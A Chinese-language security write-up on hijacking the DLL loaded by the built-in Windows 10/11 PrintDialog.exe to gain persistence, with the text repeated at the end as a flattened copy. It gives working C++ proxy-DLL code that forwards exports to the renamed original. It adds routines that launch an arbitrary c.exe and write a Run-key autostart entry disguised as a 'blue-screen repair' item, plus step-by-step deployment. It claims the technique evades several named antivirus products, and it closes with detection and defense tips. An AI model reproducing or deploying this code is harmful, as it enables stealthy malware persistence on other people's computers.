Windows10/11 内置组件 dll劫持
字数 1386 2025-08-22 12:22:30

Windows 10/11 内置组件 DLL 劫持漏洞分析

0. 序言与环境配置

0.1 漏洞概述

本文公开了一个 Windows 内置组件(打印机相关)的 DLL 劫持漏洞。该漏洞存在于 Windows 10/11 系统中,通过劫持 PrintDialog.exe 依赖的 DLL 文件,可以实现持久化驻留。

0.2 环境要求

  • 操作系统:Windows 10/11(Win7 效果不佳)
  • 目标程序路径:C:\Windows\PrintDialog\PrintDialog.exe
  • 特点:作为 Windows 系统程序,其黑白文件都可实现久存不杀,危害性较高

1. 工具自动化利用(灰梭子方法)

1.1 基本步骤

  1. 将目标 DLL 导入灰梭子工具
  2. 劫持该 DLL 并导出到当前目录
  3. 创建 VS C++ 项目构建恶意 DLL

1.2 关键代码实现

#include <windows.h>
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")

extern "C" {
    PVOID pLGF_DllCanUnloadNow;
    PVOID pLGF_DllGetActivationFactory;
    void LGF_DllCanUnloadNow(void);
    void LGF_DllGetActivationFactory(void);
};

static HMODULE g_OldModule = NULL;

// 加载原始模块
__inline BOOL WINAPI Load() {
    g_OldModule = LoadLibraryA("post.dll");
    if (g_OldModule == NULL) {
        MessageBoxA(NULL, "模块错误", "零攻防", MB_ICONSTOP);
    }
    return (g_OldModule != NULL);
}

// 释放原始模块
__inline VOID WINAPI Free() {
    if (g_OldModule) {
        FreeLibrary(g_OldModule);
    }
}

// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName) {
    FARPROC fpAddress;
    fpAddress = GetProcAddress(g_OldModule, pszProcName);
    if (fpAddress == NULL) {
        MessageBoxA(NULL, "函数错误", "零攻防", MB_ICONSTOP);
    }
    return fpAddress;
}

// 初始化获取原函数地址
BOOL WINAPI Init() {
    if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow"))) return FALSE;
    if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory"))) return FALSE;
    return TRUE;
}

1.3 持久化技术

代码中包含两种持久化技术:

  1. 启动程序执行
void LaunchProgramInSameDirectory() {
    CHAR modulePath[MAX_PATH];
    CHAR programPath[MAX_PATH];
    GetModuleFileNameA(NULL, modulePath, MAX_PATH);
    PathRemoveFileSpecA(modulePath);
    _snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath);
    
    STARTUPINFOA si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}
  1. 注册表自启动
void AddDllToStartup() {
    HKEY hKey = NULL;
    LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, 
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 
        0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    
    if (result == ERROR_SUCCESS) {
        CHAR modulePath[MAX_PATH];
        GetModuleFileNameA(NULL, modulePath, MAX_PATH);
        CHAR startupValue[MAX_PATH];
        _snprintf_s(startupValue, MAX_PATH, "%s", modulePath);
        RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue)+1);
        RegCloseKey(hKey);
    }
}

1.4 最终利用步骤

  1. 编译上述代码生成恶意 DLL
  2. 将原 DLL 改名为 post.dll
  3. 将恶意 DLL 命名为 PrintDialog.dll
  4. 准备要执行的 c.exe
  5. 双击执行 PrintDialog.exe

2. 手工分析方法(IDA 分析)

2.1 初步分析

  1. 尝试脱离 DLL 执行程序,确认程序依赖 PrintDialog.dll
  2. 使用 IDA 分析目标 DLL

2.2 关键函数分析

通过 IDA 分析发现两个关键函数:

  1. DllCanUnloadNow

    • 作用:确定 DLL 是否可以被卸载
    • COM 技术中用于检查是否还有对象在使用该 DLL
    • 如果没有使用则可以安全卸载
  2. DllEntryPoint

    • DLL 的入口点函数
    • 在 DLL 被加载或卸载时执行初始化和清理操作

2.3 手工劫持实现

基于分析结果构造劫持代码:

extern "C" {
    PVOID pLGF_DllCanUnloadNow;
    PVOID pLGF_DllGetActivationFactory;
    void LGF_DllCanUnloadNow(void);
    void LGF_DllGetActivationFactory(void);
};

完整实现与工具自动化部分类似,但需要手动分析导出函数并确保正确转发调用。

3. 漏洞利用效果

在同时开启以下安全防护的情况下仍能成功利用:

  • 360 安全卫士
  • 晶核防御
  • 火绒全防御
  • 腾讯电脑管家全保护

成功实现对 c.exe 的添加自启动操作。

4. 防御与检测方法

4.1 检测方法

  1. 检查注册表中是否有可疑启动项(特别是图标样式异常的)
  2. 检查以下目录中的文件:
    • C:\Windows\PrintDialog\
    • 特别是名为 PrintDialog.dll 的文件

4.2 分析技术

  1. 使用 IDA 对可疑 DLL 进行反编译分析(F5 查看伪代码)
  2. 使用火绒剑等工具监控程序行为:
    • 检查 DLL 加载行为
    • 监控注册表修改
    • 跟踪进程创建行为

4.3 防御建议

  1. 限制系统目录的写入权限
  2. 监控关键系统程序的 DLL 加载行为
  3. 对注册表 Run 键值进行完整性监控
  4. 使用行为检测而非单纯的特征检测

5. 技术要点总结

  1. DLL 劫持原理:利用 Windows 的 DLL 搜索顺序漏洞,将恶意 DLL 置于合法 DLL 之前被加载
  2. 函数转发技术:确保原始功能正常运作的同时注入恶意代码
  3. 持久化技术:通过注册表自启动和程序链式加载实现持久化
  4. 绕过检测:利用系统可信程序加载恶意 DLL 绕过部分安全检测

此漏洞利用展示了 Windows 系统组件安全性的重要性,以及攻击者如何利用系统信任关系实现持久化攻击。

Windows 10/11 内置组件 DLL 劫持漏洞分析 0. 序言与环境配置 0.1 漏洞概述 本文公开了一个 Windows 内置组件(打印机相关)的 DLL 劫持漏洞。该漏洞存在于 Windows 10/11 系统中,通过劫持 PrintDialog.exe 依赖的 DLL 文件,可以实现持久化驻留。 0.2 环境要求 操作系统:Windows 10/11(Win7 效果不佳) 目标程序路径: C:\Windows\PrintDialog\PrintDialog.exe 特点:作为 Windows 系统程序,其黑白文件都可实现久存不杀,危害性较高 1. 工具自动化利用(灰梭子方法) 1.1 基本步骤 将目标 DLL 导入灰梭子工具 劫持该 DLL 并导出到当前目录 创建 VS C++ 项目构建恶意 DLL 1.2 关键代码实现 1.3 持久化技术 代码中包含两种持久化技术: 启动程序执行 : 注册表自启动 : 1.4 最终利用步骤 编译上述代码生成恶意 DLL 将原 DLL 改名为 post.dll 将恶意 DLL 命名为 PrintDialog.dll 准备要执行的 c.exe 双击执行 PrintDialog.exe 2. 手工分析方法(IDA 分析) 2.1 初步分析 尝试脱离 DLL 执行程序,确认程序依赖 PrintDialog.dll 使用 IDA 分析目标 DLL 2.2 关键函数分析 通过 IDA 分析发现两个关键函数: DllCanUnloadNow : 作用:确定 DLL 是否可以被卸载 COM 技术中用于检查是否还有对象在使用该 DLL 如果没有使用则可以安全卸载 DllEntryPoint : DLL 的入口点函数 在 DLL 被加载或卸载时执行初始化和清理操作 2.3 手工劫持实现 基于分析结果构造劫持代码: 完整实现与工具自动化部分类似,但需要手动分析导出函数并确保正确转发调用。 3. 漏洞利用效果 在同时开启以下安全防护的情况下仍能成功利用: 360 安全卫士 晶核防御 火绒全防御 腾讯电脑管家全保护 成功实现对 c.exe 的添加自启动操作。 4. 防御与检测方法 4.1 检测方法 检查注册表中是否有可疑启动项(特别是图标样式异常的) 检查以下目录中的文件: C:\Windows\PrintDialog\ 特别是名为 PrintDialog.dll 的文件 4.2 分析技术 使用 IDA 对可疑 DLL 进行反编译分析(F5 查看伪代码) 使用火绒剑等工具监控程序行为: 检查 DLL 加载行为 监控注册表修改 跟踪进程创建行为 4.3 防御建议 限制系统目录的写入权限 监控关键系统程序的 DLL 加载行为 对注册表 Run 键值进行完整性监控 使用行为检测而非单纯的特征检测 5. 技术要点总结 DLL 劫持原理 :利用 Windows 的 DLL 搜索顺序漏洞,将恶意 DLL 置于合法 DLL 之前被加载 函数转发技术 :确保原始功能正常运作的同时注入恶意代码 持久化技术 :通过注册表自启动和程序链式加载实现持久化 绕过检测 :利用系统可信程序加载恶意 DLL 绕过部分安全检测 此漏洞利用展示了 Windows 系统组件安全性的重要性,以及攻击者如何利用系统信任关系实现持久化攻击。